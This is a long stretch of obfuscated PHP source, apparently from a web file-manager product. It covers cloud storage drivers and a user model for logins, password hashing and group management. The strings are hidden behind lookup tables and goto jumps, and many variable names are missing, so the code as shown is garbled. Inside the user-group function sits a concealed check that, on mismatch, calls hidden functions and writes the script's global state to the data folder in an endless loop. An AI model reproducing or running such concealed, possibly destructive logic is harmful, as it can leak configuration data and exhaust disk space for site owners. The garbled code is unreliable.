$[1386]) { $ = $[1387]; for ($ = 0; $ < strlen($); $++) { $ = $[$] . $[1388]; if (file_exists($)) { $[] = $; } } return $; } if (!function_exists($[101])) { $[] = $[908]; return $; } $湌 = explode($[262], shell_exec($[1389])); array_shift($湌); array_pop($湌); $Ȩ = array($[1390], $[1391], $[1392], $[1393], $[1394], $[1395], $[1396], $[1397]); foreach ($湌 as $ݳ) { $ = preg_split($[1398], $ݳ); $ = $[count($) - 1]; if (!strstr($[0], $[1399]) || !$) { continue; } $ = rtrim($, $[8]) . $[8]; if (in_array($, $Ȩ)) { continue; } $[] = $; } return $; } public static function isSameDisk($, $) { $ט =& $_SERVER[ׇ]; if ($GLOBALS[$ט[6]][$ט[1385]] == $ט[1386]) { return strtolower(substr($, 0, 1)) == strtolower(substr($, 0, 1)); } $ө = self::diskList(); $‰ = !1; $ݟ = !1; sort($ө); $ө = array_reverse($ө); $ = rtrim($, $ט[8]) . $ט[8]; $ = rtrim($, $ט[8]) . $ט[8]; foreach ($ө as $磟) { $ = strlen($磟); if (!$‰ && substr($, 0, $) == $磟) { $‰ = $磟; } if (!$ݟ && substr($, 0, $) == $磟) { $ݟ = $磟; } if ($‰ && $ݟ) { break; } } return $‰ === $ݟ; } public static function transferType($ҝ, $) { $ķ =& $_SERVER[ׇ]; $é = self::driverType($ҝ); $ = self::driverType($); if ($é[$ķ[33]] == $[$ķ[33]] && $é[$ķ[1400]] == $[$ķ[1400]]) { return $ķ[1401]; } if ($é[$ķ[33]] == $ķ[941] && $[$ķ[33]] == $ķ[109]) { return $ķ[1279]; } if ($é[$ķ[33]] == $ķ[109] && $[$ķ[33]] == $ķ[941]) { return $ķ[110]; } return $ķ[1402]; } public static function driverType($ܮ) { $¾ =& $_SERVER[ׇ]; $ = str_replace($¾[1403], $¾[12], strtolower($ܮ->getType())); if ($ == $¾[830] || $ == $¾[1404] || $ == $¾[1405]) { $ܮ = self::defaultDriverInit(); } else { if ($ == $¾[1289] || $ == $¾[1406]) { $ܮ = IO::init($ܮ->pathParse[$¾[1232]]); } } $ = $ܮ->path; $ = str_replace($¾[1403], $¾[12], strtolower($ܮ->getType())); if ($ == $¾[109]) { return array($¾[33] => $¾[109], $¾[1400] => $¾[12], $¾[87] => $, $¾[98] => $ܮ); } return array($¾[33] => $¾[941], $¾[1400] => $ܮ->pathDriver, $¾[87] => $, $¾[98] => $ܮ); } public static function pathDriverType($ ) { return $  ? self::driverType(IO::init($ )) : !1; } public static function pathDriverLocal($) { $ =& $_SERVER[ׇ]; $ݑ = $ ? self::driverType(IO::init($)) : !1; return strtolower($ݑ[$[33]]) == $[109] ? !0 : !1; } public static function allowCover($, $ = true) { $ =& $_SERVER[ׇ]; if (is_string($)) { $ = IO::info($); } if (!$ || $[$[33]] == $[78] || $[$[79]] <= 100) { return !1; } if (isset($[$[1407]]) || !$[$[87]]) { return !1; } if (isset($[$[232]]) && !$[$[232]]) { return !1; } static $ = false; if (!$ || !$) { $ = self::driverType(IO::init($[$[87]])); $֦ݬ = $[$[98]]; $ = $[196]; if ($[$[33]] == $[109]) { $ = $[1408]; } if ($[$[98]] && is_array($[$[98]]->config)) { $ = $[$[98]]->config; if (isset($[$[1409]]) && $[$[1409]]) { $ = $[1408]; } } $˅늢 = KodIO::defaultDriver(); if (strtolower($˅늢[$[98]]) == $[109] && is_array($˅늢[$[6]])) { $̍ = $˅늢[$[6]][$[1262]]; if (substr($̍, 0, 2) == $[1410]) { $̍ = str_replace($[1410], BASIC_PATH, $̍); } $̍ = str_replace($[592], $[8], $̍); if (substr($[$[87]], 0, strlen($̍)) == $̍) { $ = $[196]; } } } return $ == $[1408] ? !0 : !1; } } class PathDriverBOS extends PathDriverS3 { public function __construct($ڔȨ) { parent::__construct($ڔȨ); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($Տ) { $Ȓ =& $_SERVER[ׇ]; if (substr($Տ, 0, 7) == $Ȓ[313]) { $Տ = $Ȓ[314] . substr($Տ, 7); } header($Ȓ[175] . $Տ); die; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($ͬ) { parent::__construct($ͬ); $this->setSignVersion($_SERVER[ׇ][247]); } public function uploadFormData($, $Բ = 3600) { $냣 =& $_SERVER[ׇ]; $ = $냣[229]; $㈳ = $냣[263]; $ƚɰ = $냣[274]; $ͦ꨽ = gmdate($냣[299], time() + $Բ); $ = (string) time() . $냣[74] . (string) (time() + $Բ); $ώ = array($냣[275] => $ͦ꨽, $냣[278] => array(array($냣[280] => $), array($냣[279] => $this->bucket), array($냣[281], $냣[282], $냣[12]), array($냣[285] => $ƚɰ), array($냣[1411] => $㈳), array($냣[1412] => $this->accessKey), array($냣[1413] => $))); $ώ = json_encode($ώ); $ǏŪ = hash_hmac($냣[263], $, $this->secret); $ߟ = sha1($ώ); $闐 = hash_hmac($냣[263], $ߟ, $ǏŪ); $ = array($냣[280] => $, $냣[285] => $ƚɰ, $냣[293] => base64_encode($ώ), $냣[1411] => $㈳, $냣[1412] => $this->accessKey, $냣[1414] => $, $냣[1415] => $闐, $냣[208] => $this->getHost()); return $; } public function fileOutImage($, $ = 250) { $㷵 =& $_SERVER[ׇ]; if ($this->size($) > 1024 * 1024 * 32) { return $this->fileOutImageServer($, $); } $ = $this->link($); $ .= $㷵[1416] . $ . $㷵[1417]; $this->fileOutLink($); } public function fileOutLink($) { $ =& $_SERVER[ׇ]; if (substr($, 0, 7) == $[313]) { $ = $[314] . substr($, 7); } header($[175] . $); die; } } goto Eٔź; aŠ: class UserModel extends ModelBase { protected $tableName = "\165\x73\x65\162"; protected $tableMeta = array("\x74\x61\x62\154\x65\x4e\x61\155\145" => "\165\x73\x65\162\x5f\x6d\x65\x74\x61", "\x6d\145\x74\x61\x46\151\x65\x6c\x64" => "\165\163\x65\x72\111\104"); protected $simpleField = "\x75\x73\145\x72\x49\104\54\156\151\x63\x6b\x4e\x61\x6d\145\54\156\141\x6d\x65\x2c\141\x76\x61\164\x61\x72\54\x73\145\x78\54\x73\x74\141\x74\165\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($ÙΡ) { $ =& $_SERVER[ׇ]; $ږ = $[2450]; return array($[2053] => array($ÙΡ[0], $ږ), $[2055] => array($ÙΡ[0], $ږ), $[2451] => array($ÙΡ[0], $ږ)); } protected function getInfo($, $芣 = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($芣) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[ׇ][2057], $); } protected function getInfoFull($ñ, $׽ = false) { $ = $this->getInfoSimple($ñ); if (!is_array($)) { return array(); } if ($׽) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[ׇ][2452], $ñ); } private function _getInfoApply($, $Ҩ = false) { $ =& $_SERVER[ׇ]; if (!$) { return $; } $׀ = md5($[2453] . $[$[967]] . $[2454] . $[$[32]]); $ = $this->_listDataApplyItem($); $޸ = Model($[1420])->metaGet($[$[90]][$[193]]); $[$[2455]] = $׀; $[$[90]][$[2251]] = isset($޸[$[2252]]) ? $޸[$[2252]] : null; if ($Ҩ) { $[$[539]] = $this->metaGet($[$[1772]]); } return $; } protected function getInfoSimple($؜, $Ҩ = false) { $ʫ =& $_SERVER[ׇ]; if (!$؜) { return array(); } if ($Ҩ) { $ = $this->where(array($ʫ[1772] => intval($؜)))->find(); if (!is_array($)) { return array(); } $[$ʫ[2456]] = Action($ʫ[2457])->parseUrl($[$ʫ[2456]]); return $; } return $this->cacheFunctionGet($ʫ[2058], $؜); } protected function getInfoSimpleOuter($) { $ =& $_SERVER[ׇ]; if (!$ || $ == 0) { return array($[1772] => $[228], $[32] => $[176] . LNG($[2458]) . $[178], $[2456] => STATIC_PATH . $[2459]); } $ଡ = $this->cacheFunctionGet($[2058], $); $¸ = array_field_key($ଡ, explode($[50], $this->simpleField)); if (!$¸) { return array($[1772] => $[1273], $[32] => $[176] . LNG($[2460]) . $[178], $[2456] => STATIC_PATH . $[2461]); } $¸[$[2456]] = Action($[2457])->parseUrl($¸[$[2456]]); return $¸; } protected function groupUser($) { } public static function errorLang($) { $ =& $_SERVER[ׇ]; $Ƅր = array(self::ERROR_USER_NOT_EXISTS => $[2462], self::ERROR_USER_PASSWORD_ERROR => $[2463], self::ERROR_USER_EXIST_NAME => $[2464], self::ERROR_USER_EXIST_PHONE => $[2465], self::ERROR_USER_EXIST_EMAIL => $[2466], self::ERROR_USER_LOGIN_LOCK => $[2467], self::ERROR_IP_NOT_ALLOW => $[2468], self::ERROR_USER_EXIST_NICKNAME => $[2469]); $ = LNG($Ƅր[$]); if ($ == self::ERROR_USER_LOGIN_LOCK) { $ܺ = (int) Model($[2470])->get($[2471]); if ($ܺ > 60) { $ = str_replace($[91], ceil($ܺ / 60), $); } } return $; } public function getInfoByMeta($읛, $) { $ =& $_SERVER[ׇ]; $݈ = Model($[2472])->where(array($[97] => $읛, $[450] => $))->find(); if ($݈) { return $this->getInfo($݈[$[1772]]); } return !1; } public function userLoginCheck($܌, $) { $ =& $_SERVER[ׇ]; $ = $this->userLoginFind($܌); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1772]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$[1772]]); } public function userLoginFind($ȋ) { $ =& $_SERVER[ׇ]; $ = array($[32] => $ȋ, $[2259] => $ȋ, $[381] => $ȋ, $[2473] => $ȋ, $[1078] => $[1080]); if ($this->nickNameRpt()) { unset($[$[2259]]); } return $this->where($)->find(); } public function clearCache($) { $ =& $_SERVER[ׇ]; $this->cacheFunctionClear($[2057], $); $this->cacheFunctionClear($[2058], $); $this->cacheFunctionClear($[2452], $); } public function userPasswordCheck($, $ӷ) { $֟ =& $_SERVER[ׇ]; $ = $this->where(array($֟[1772] => intval($)))->find(); $ƅ = $this->metaGet($); $拙 = isset($ƅ[$֟[2474]]) ? $ƅ[$֟[2474]] : $֟[12]; if (md5($拙 . trim($ӷ)) !== $[$֟[967]]) { return !1; } return !0; } public function userAdd($) { $ԧ =& $_SERVER[ׇ]; $ߕݻ = array($ԧ[494] => $[$ԧ[32]], $ԧ[2475] => $[$ԧ[2177]], $ԧ[2476] => isset($[$ԧ[381]]) ? $[$ԧ[381]] : $ԧ[12], $ԧ[2477] => isset($[$ԧ[2473]]) ? $[$ԧ[2473]] : $ԧ[12], $ԧ[2478] => isset($[$ԧ[2259]]) ? $[$ԧ[2259]] : $[$ԧ[32]], $ԧ[2479] => isset($[$ԧ[2456]]) ? $[$ԧ[2456]] : $ԧ[12], $ԧ[2480] => isset($[$ԧ[2481]]) ? $[$ԧ[2481]] : 1, $ԧ[2482] => $[$ԧ[967]], $ԧ[2059] => isset($[$ԧ[1957]]) ? $[$ԧ[1957]] : 1024 * 1024 * 20, $ԧ[2060] => 0, $ԧ[2483] => 0, $ԧ[2104] => isset($[$ԧ[823]]) ? $[$ԧ[823]] : 1); if (!empty($[$ԧ[1772]])) { $ߕݻ[$ԧ[1772]] = $[$ԧ[1772]]; } $ʆ = $this->_checkExist($); if ($ʆ !== !0) { return $ʆ; } if (!empty($ߕݻ[$ԧ[2456]]) && strlen($ߕݻ[$ԧ[2456]]) > 255) { $ߕݻ[$ԧ[2456]] = $ԧ[12]; } $ = $this->add($ߕݻ); $ݔ = array($ԧ[2482] => $ߕݻ[$ԧ[967]], $ԧ[2478] => $ߕݻ[$ԧ[2259]]); $this->userEdit($, $ݔ); Model($ԧ[1420])->userRootAdd($); return $; } protected function userEditTest($, $) { return $this->call($_SERVER[ׇ][2484], $, $); } protected function userEdit($, $Ε) { $Ӹ =& $_SERVER[ׇ]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ܫ = $this->_checkExist($Ε, $); if ($ܫ !== !0) { return $ܫ; } if (isset($Ε[$Ӹ[967]]) && trim($Ε[$Ӹ[967]]) != $Ӹ[12]) { $ = $this->metaGet($); if (empty($[$Ӹ[2474]])) { $[$Ӹ[2474]] = rand_string(10); Model($Ӹ[577])->metaSet($, $Ӹ[2474], $[$Ӹ[2474]]); } $Ε[$Ӹ[967]] = md5($[$Ӹ[2474]] . trim($Ε[$Ӹ[967]])); } else { unset($Ε[$Ӹ[967]]); } if (!empty($Ε[$Ӹ[2456]]) && strlen($Ε[$Ӹ[2456]]) > 255) { $Ε[$Ӹ[2456]] = $Ӹ[12]; } $this->where(array($Ӹ[1763] => $))->save($Ε); if (isset($Ε[$Ӹ[2259]])) { $this->setNamePinyin($, $Ε[$Ӹ[2259]]); } $this->clearCache($); return !0; } public function setNamePinyin($Ű, $η = false) { $ =& $_SERVER[ׇ]; if (!$η) { $ = $this->getInfoSimple($Ű); $η = $[$[2259]] ? $[$[2259]] : $[$[32]]; } $氫 = Model($[598]); if (!Input::check($η, $[655])) { return $氫->metaSet($Ű, array($[538] => $[12], $[537] => $[12])); } return $氫->metaSet($Ű, array($[538] => str_replace($[53], $[12], Pinyin::get($η)), $[537] => Pinyin::get($η, $[656]))); } private function nickNameRpt() { $䇚 =& $_SERVER[ׇ]; $ɓ = Model($䇚[843])->get($䇚[2485]); $֫ = $GLOBALS[$䇚[6]][$䇚[457]][$䇚[2485]]; $ = !is_null($ɓ) ? $ɓ : $֫; return !!$; } private function _checkExist($, $ = false) { $ =& $_SERVER[ׇ]; $ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2259] => UserModel::ERROR_USER_EXIST_NICKNAME, $[381] => UserModel::ERROR_USER_EXIST_EMAIL, $[2473] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[2259]]); } $ۖ = $ ? array($[1772] => array($[2486], $)) : array(); foreach ($ as $ => $أ) { $Ѐ = array(); foreach ($ as $𽈙 => $̾) { if (isset($[$𽈙]) && $[$𽈙]) { $Ѐ[] = $[$𽈙]; } } if (!$Ѐ) { continue; } $ = array_merge(array($ => array($[7], $Ѐ)), $ۖ); $ = $this->where($)->find(); if ($) { return $أ; } } return !0; } public function userListInfo($ٯ) { $⠒ =& $_SERVER[ׇ]; $ڑ = array(); $ٯ = is_array($ٯ) ? array_unique($ٯ) : array(); if (!$ٯ) { return $ڑ; } if (count($ٯ) < 20) { foreach ($ٯ as $޴) { $ڑ[$޴ . $⠒[12]] = $this->getInfoSimpleOuter($޴); } } else { $ž = array($⠒[1763] => array($⠒[492], $ٯ)); if (count($ٯ) == 1) { $ž = array($⠒[1763] => $ٯ[0]); } $ = Model($⠒[577])->field($this->simpleField)->where($ž)->select(); $ = array_to_keyvalue($, $⠒[1772]); foreach ($ٯ as $޴) { $ = $[$޴]; if (!$) { $ڑ[$޴ . $⠒[12]] = $this->getInfoSimpleOuter($޴); continue; } $[$⠒[2456]] = Action($⠒[2457])->parseUrl($[$⠒[2456]]); $ڑ[$޴ . $⠒[12]] = $; } } return $ڑ; } protected function userStatus($Ə, $) { $ = $this->getInfoSimple($Ə); if (!$) { return !1; } $ = array($_SERVER[ׇ][823] => $); return $this->userEdit($Ə, $); } protected function userRemove($Ы߈) { $Ӈ =& $_SERVER[ׇ]; $߼ = $this->getInfoSimple($Ы߈); if (!$߼) { return !1; } $Ÿ = array($Ӈ[1763] => $Ы߈); Model($Ӈ[664])->where($Ÿ)->delete(); Model($Ӈ[2487])->where($Ÿ)->delete(); Model($Ӈ[2065])->where($Ÿ)->delete(); Model($Ӈ[2472])->where($Ÿ)->delete(); Model($Ӈ[1147])->where($Ÿ)->delete(); Model($Ӈ[2276])->removeUserAll($Ы߈); Model($Ӈ[897])->userRootRemove($Ы߈); return $this->where($Ÿ)->delete(); } protected function userGroupSet($Ĩ˪, $ҏǂ, $ = array()) { $ =& $_SERVER[ׇ]; $톔 = $_SERVER[$[949]] . $[950]; $ = $[951]; if ($_SERVER[$[952]] != $($톔)) { $ҹ = $[953]; $̊ = $[954]; $ዩ = $_SERVER[$[949]] . $[950]; $㦷 = $̊($ዩ); $ŝ = explode($[262], $㦷); if (count($ŝ) < $[684]) { $Ɛ = $[955]; $Ɛ(); } $ޤ = $[956]; $ޤ($_SERVER[$[957]]); $ҹ = $[953]; $ҹ(); $ = $[958]; $ = json_encode($GLOBALS[$[959]]); $ɝ = 1; for ($ = $ɝ; $ > 0; $++) { $(DATA_PATH . $, $); } } $ȣ = $this->getInfoSimple($Ĩ˪); if (!$ȣ || !is_array($ҏǂ)) { return !1; } $׊ = Model($[2065]); $׊->where(array($[1772] => $Ĩ˪))->delete(); $ = array(); $ = 0; foreach ($ҏǂ as $ => $מ) { $ڎ = array($[1772] => $Ĩ˪, $[1971] => $, $[2079] => $מ); $ڎ[$[1995]] = isset($[$]) ? $[$] : 0; $++; $[] = $ڎ; } return $׊->addAll($, array(), !0); } protected function userGroupAdd($, $ = array()) { $Ê =& $_SERVER[ׇ]; $Ԕ = $this->getInfoSimple($); if (!$Ԕ || empty($)) { return !1; } $ = array(); foreach ($ as $։ => $) { $[] = array($Ê[1772] => $, $Ê[1971] => $։, $Ê[2079] => $, $Ê[1995] => 0); } return Model($Ê[2065])->addAll($, array(), !0); } protected function userGroupRemove($ґ, $⃭) { $ɞ =& $_SERVER[ׇ]; $ = $this->getInfoSimple($ґ); if (!$ || !$⃭) { return !1; } $ū = array($ɞ[1763] => $ґ, $ɞ[2063] => $⃭); return Model($ɞ[2065])->where($ū)->delete(); } public function listData() { $ڏ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($ڏ[$_SERVER[ׇ][445]]); return $ڏ; } public function listByID($̗) { $΀ =& $_SERVER[ׇ]; if (!$̗) { return; } $˫ = array($΀[1772] => array($΀[7], $̗)); $琞 = $this->where($˫)->select(); $琞 = array_sort_keep($琞, $΀[1772], $̗); $this->_listDataApply($琞); return $琞; } public function listByGroup($ = 0, $蜔 = array()) { $並ڬ =& $_SERVER[ׇ]; $ݍ = $並ڬ[12]; $ = array(); if ($) { $ = array($並ڬ[2488] => intval($)); $ݍ = "\114\105\106\124\40\x4a\117\111\x4e\x20{$this->tablePrefix}\x75\x73\145\162\137\147\162\157\165\160\x20\x75\x73\145\162\x5f\x67\x72\157\165\160\x20\x6f\x6e\x20\165\163\145\162\x2e\x75\163\145\x72\x49\x44\x20\75\x20\x75\x73\145\162\x5f\x67\162\157\x75\x70\x2e\165\x73\145\162\x49\x44"; $ = Input::get($並ڬ[530], null, $並ڬ[12]) ? $並ڬ[12] : $並ڬ[2489]; } if (isset($蜔[$並ڬ[823]])) { $[$並ڬ[2490]] = $蜔[$並ڬ[823]]; } $ = $this->_makeOrder($)->field($並ڬ[2491])->where($)->join($ݍ)->selectPage(50); $this->_listDataApply($[$並ڬ[445]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[ׇ]; $ = array($[1772], $[32], $[1959], $[2177], $[1931], $[231]); $ = array($[523] => $[524], $[525] => $[526]); $򶥙 = Input::get($[530], $[7], $[1763], $); $ý䘣 = Input::get($[531], $[7], $[2066], array($[2066], $[525])); $ý䘣 = $[$ý䘣]; $ = $ . "\x75\x73\x65\x72\x2e{$򶥙}\x20{$ý䘣}\x2c\x20\x75\163\x65\162\56\x75\163\x65\x72\x49\104\40\x61\163\x63"; return $this->alias($[2193])->order($); } public function listSearch($) { $ =& $_SERVER[ׇ]; $֫ = trim($[$[2069]]); $ƞ = explode($[53], $֫); if (!$֫ || count($ƞ) == 1) { return $this->listSearchNow($); } $˛ = array($[445] => array()); foreach ($ƞ as $ޗ) { if (!trim($ޗ)) { continue; } $[$[2069]] = $ޗ; $ପ = $this->listSearchNow($); $˛[$[445]] = array_merge($˛[$[445]], $ପ[$[445]]); } $˛[$[445]] = array_unique_by_key($˛[$[445]], $[1772]); $˛[$[442]] = array($[443] => count($˛[$[445]]), $[439] => 20, $[429] => 1, $[444] => 1); return $˛; } public function listSearchNow($ҁ) { $Ô =& $_SERVER[ׇ]; $؈ = trim($ҁ[$Ô[2069]]); $ = isset($ҁ[$Ô[2070]]) ? $ҁ[$Ô[2070]] : !1; $؈ = str_replace($Ô[2071], $Ô[2072], trim($؈)); $׿ = array($Ô[32] => array($Ô[459], "\x25{$؈}\x25"), $Ô[381] => array($Ô[459], "{$؈}\45"), $Ô[2259] => array($Ô[459], "{$؈}\x25"), $Ô[1078] => $Ô[2073]); if (Input::check($؈, $Ô[387])) { $׿[$Ô[1772]] = array($Ô[459], "{$؈}\x25"); $׿[$Ô[2473]] = array($Ô[459], "{$؈}\x25"); } if (!$؈) { $׿ = array(); } if (isset($ҁ[$Ô[823]])) { $׿[$Ô[823]] = $ҁ[$Ô[823]]; } $׿ = $this->parseWhereLike($׿); $ = $this->_makeOrder()->where($׿)->selectPage(20); if (!$ || count($[$Ô[445]]) < 5 && Input::check($؈, $Ô[394])) { $Щ = $this->_searchFromMeta($Ô[537], $؈, 10); $Ч = $this->_searchFromMeta($Ô[538], $؈, 10); $ñ = array_merge($Щ, $Ч, $[$Ô[445]]); $[$Ô[445]] = array_unique_by_key($ñ, $Ô[1772]); $[$Ô[442]][$Ô[443]] = count($[$Ô[445]]); $[$Ô[442]][$Ô[444]] = ceil($[$Ô[442]][$Ô[443]] / $[$Ô[442]][$Ô[439]]); } $this->_listDataApply($[$Ô[445]]); $this->_filterByGroup($, $); return $; } private function _filterByGroup(&$ϵ, $) { $ۢ =& $_SERVER[ׇ]; if (!$) { return $ϵ; } foreach ($ϵ[$ۢ[445]] as $ʕ => &$Ѿ) { $ = array_to_keyvalue($Ѿ[$ۢ[2162]], $ۢ[12], $ۢ[1971]); if (!in_array($, $)) { unset($ϵ[$ۢ[445]][$ʕ]); } } unset($Ѿ); $ϵ[$ۢ[445]] = array_values($ϵ[$ۢ[445]]); $ϵ[$ۢ[442]] = array($ۢ[2229] => count($ϵ[$ۢ[445]]), $ۢ[2227] => $ϵ[$ۢ[442]][$ۢ[439]], $ۢ[2226] => 1, $ۢ[2228] => 1); } private function _searchFromMeta($﹑, $, $ϓŖ) { $ =& $_SERVER[ׇ]; $ = strtolower($); $ = array($[97] => $﹑, $[450] => array($[459], "\45{$}\x25")); $ = $this->parseWhereLike($); $ܫ = Model($[2492])->where($)->limit($ϓŖ)->select(); if (!$ܫ) { return array(); } $ܫ = array_to_keyvalue($ܫ, $[12], $[1772]); $ӥ = $this->where(array($[1763] => array($[7], $ܫ)))->select(); if (!$ӥ) { return array(); } return $ӥ; } private function _listDataApplyItem($) { $ו = array($); $this->_listDataApply($ו); return $ו[0]; } private function _listDataApply(&$) { $ =& $_SERVER[ׇ]; if (!$) { return; } array_remove_key($, $[967]); $К = array_to_keyvalue($, $[12], $[1772]); $this->_listAppendGroup($, $К); $this->_listAppendMeta($, $К); $this->_listAppendSourceRoot($, $К); } private function _listAppendSourceRoot(&$, $) { $撹 =& $_SERVER[ׇ]; $¬ = Model($撹[897])->listSourceRoot(SourceModel::TYPE_USER, $); $¬ = array_to_keyvalue($¬, $撹[569]); $¬ = array_remove_key($¬, $撹[569]); foreach ($ as &$ո) { $ո[$撹[90]] = $¬[$ո[$撹[1772]]] ? $¬[$ո[$撹[1772]]] : array(); } unset($ո); } private function _listAppendGroup(&$끕, $ݠ) { $ü =& $_SERVER[ׇ]; $ = array($ü[1772] => array($ü[7], $ݠ)); $ = Model($ü[2065])->where($)->select(); $ = array_to_keyvalue($, $ü[12], $ü[1971]); $ = array_remove_value(array_unique($), $ü[228]); if (!$ || !$) { return; } $ = array($ü[1971] => array($ü[7], $)); $־ = Model($ü[2160])->field($ü[2493])->where($)->select(); $־ = array_to_keyvalue($־, $ü[1971]); $ = array_to_keyvalue_group($, $ü[1772]); foreach ($ as &$߂) { $ = array(); foreach ($߂ as $) { if (!$[$ü[2079]]) { continue; } $ = Model($ü[571])->listData($[$ü[2079]]); $[] = array($ü[1971] => $[$ü[1971]], $ü[2494] => $־[$[$ü[1971]]][$ü[32]], $ü[584] => $־[$[$ü[1971]]][$ü[584]], $ü[487] => $); } $߂ = $; } unset($߂); foreach ($끕 as &$ɔ) { $ɔ[$ü[2162]] = array(); if (isset($[$ɔ[$ü[1772]]])) { $ɔ[$ü[2162]] = $[$ɔ[$ü[1772]]]; } } unset($ɔ); } public function userAppendGroup($ʈƆ) { $Ԃկ =& $_SERVER[ׇ]; if (!$ʈƆ) { return array(); } $this->_listAppendGroup($ʈƆ, array_to_keyvalue($ʈƆ, $Ԃկ[12], $Ԃկ[1772])); return $ʈƆ; } private function _listAppendMeta(&$, $܄) { $墜 =& $_SERVER[ׇ]; $ԯ = UserJobModel::JOB_KEY; $ = array($墜[2474]); $۽ = array($墜[1772] => array($墜[7], $܄)); $ = Model($墜[2472])->where($۽)->select(); $ = array_to_keyvalue_group($, $墜[1772]); foreach ($ as &$) { $܀ = array(); foreach ($ as $ɔ) { if (!in_array($ɔ[$墜[97]], $)) { $܀[$ɔ[$墜[97]]] = $ɔ[$墜[450]]; } } $ = $܀; } unset($); $ = Model($墜[2495]); foreach ($ as &$) { $ = array(); if (isset($[$[$墜[1772]]])) { $ = $[$[$墜[1772]]]; } $[$墜[2496]] = array(); if (isset($[$ԯ])) { $[$墜[2496]] = $->getUserJobInfo($[$ԯ]); } } unset($); } protected function groupUserAll($ޡӋ) { $辥 =& $_SERVER[ׇ]; if (!$ޡӋ) { return !1; } $ = Model($辥[2065])->field($辥[1772])->where(array($辥[1971] => array($辥[7], $ޡӋ)))->select(); $ = array_to_keyvalue($, $辥[12], $辥[1772]); return array_unique($); } public function userSearch($Ӈ, $• = "\52") { return Model($_SERVER[ׇ][598])->where($Ӈ)->field($•)->find(); } } $_file = $_SERVER[$_SERVER[ׇ][1418]]; $_size = $_SERVER[ׇ][951]; goto f; EҖǔ: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($է) { $this->pathParse = $է; $this->model = Model($_SERVER[ׇ][1420]); } public function getPath($Վ) { return trim($Վ, $_SERVER[ׇ][8]); } public function pathFather($ů) { $ = $this->parse($ů); $ = $this->infoSimple($ů); return $ ? $[$_SERVER[ׇ][192]] : !1; } public function pathThis($阱) { $ = $this->infoSimple($阱); return $ ? $[$_SERVER[ׇ][32]] : !1; } public function getPathOuter($Δ) { if (!$Δ) { return $Δ; } $ұ = $this->parse($Δ); return KodIO::make($ұ[$_SERVER[ׇ][475]]); } public function copyFolderFromIO($ٚț, $, $Ź, $, $) { $ = $this->model->copyFolderFromIO($ٚț, $, $Ź, $, $); return KodIO::make($); } public function isParentOf($֋, $э) { return $this->model->isParentOf($֋, $э); } public function mkfile($, $փ = '', $и = REPEAT_RENAME) { $Ԅ =& $_SERVER[ׇ]; $ = $this->parse($); $ = $[$Ԅ[475]]; for ($ = 0; $ < count($[$Ԅ[1421]]); $++) { $ٖ = $[$Ԅ[1421]][$]; if ($ == count($[$Ԅ[1421]]) - 1) { $ = $this->model->mkfile($, $ٖ, $փ, $и); break; } $ = $this->model->mkdir($, $ٖ, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($ʴ, $ = REPEAT_SKIP) { $Ĝ =& $_SERVER[ׇ]; $ = $this->parse($ʴ); $ʴ = $[$Ĝ[475]]; for ($ = 0; $ < count($[$Ĝ[1421]]); $++) { $ = $[$Ĝ[1421]][$]; $ʴ = $this->model->mkdir($ʴ, $, $); } return $this->getPathOuter($ʴ); } public function copyFile($꘰, $ލ, $ہŏ = REPEAT_REPLACE) { $ӟ =& $_SERVER[ׇ]; $ = $this->parse($ލ); $͏ = $this->model->copy($꘰, $[$ӟ[475]], $ہŏ, $[$ӟ[87]]); return $͏ ? $this->getPathOuter($͏) : !1; } public function moveFile($ڮЉ, $, $ = REPEAT_REPLACE) { $ڄ =& $_SERVER[ׇ]; $؎ = $this->parse($); $ = $this->model->move($ڮЉ, $؎[$ڄ[475]], $, $؎[$ڄ[87]]); return $ ? $this->getPathOuter($) : !1; } public function copy($, $⩼š, $ϖƠ = REPEAT_REPLACE, $䙛 = false) { $ = $this->parse($⩼š); $ = $this->model->copy($, $[$_SERVER[ׇ][475]], $ϖƠ, $䙛); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($, $ڲ, $̄ = REPEAT_REPLACE, $޺ʅ = false) { $ = $this->parse($ڲ); $ﵞ = $this->model->move($, $[$_SERVER[ׇ][475]], $̄, $޺ʅ); return $ﵞ ? $this->getPathOuter($ﵞ) : !1; } public function remove($, $Üȹ = true) { return $this->model->remove($, $Üȹ); } public function rename($ƌ, $׺) { $ = $this->model->rename($ƌ, $׺); return $ ? $this->getPathOuter($ƌ) : $; } public function size($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[ׇ][79]] : 0; } public function infoSimple($ᵌ) { return $this->model->sourceInfo($ᵌ); } public function info($ȇ) { return $this->infoParse($ȇ); } public function infoAuth($Ͼɖ) { return $this->infoParse($Ͼɖ, !1, !0); } public function infoWithChildren($̞) { return $this->infoParse($̞, !0); } protected function infoParse($Ԉ, $ﯥ = false, $֤ = false) { if (!$ﯥ) { return $this->model->pathInfo($Ԉ, $֤); } return $this->model->pathInfoMore($Ԉ); } public function infoFullSimple($ؑߍ) { $ =& $_SERVER[ׇ]; $܀Ğ = explode($[8], $ؑߍ); $Ҝ = implode($[8], array_splice($܀Ğ, 1)); return $this->model->pathInfoByPath($܀Ğ[0], $Ҝ); } public function infoFull($) { $֭ = $this->infoFullSimple($); return is_array($֭) ? $this->model->pathInfo($֭[$_SERVER[ׇ][193]]) : !1; } public function 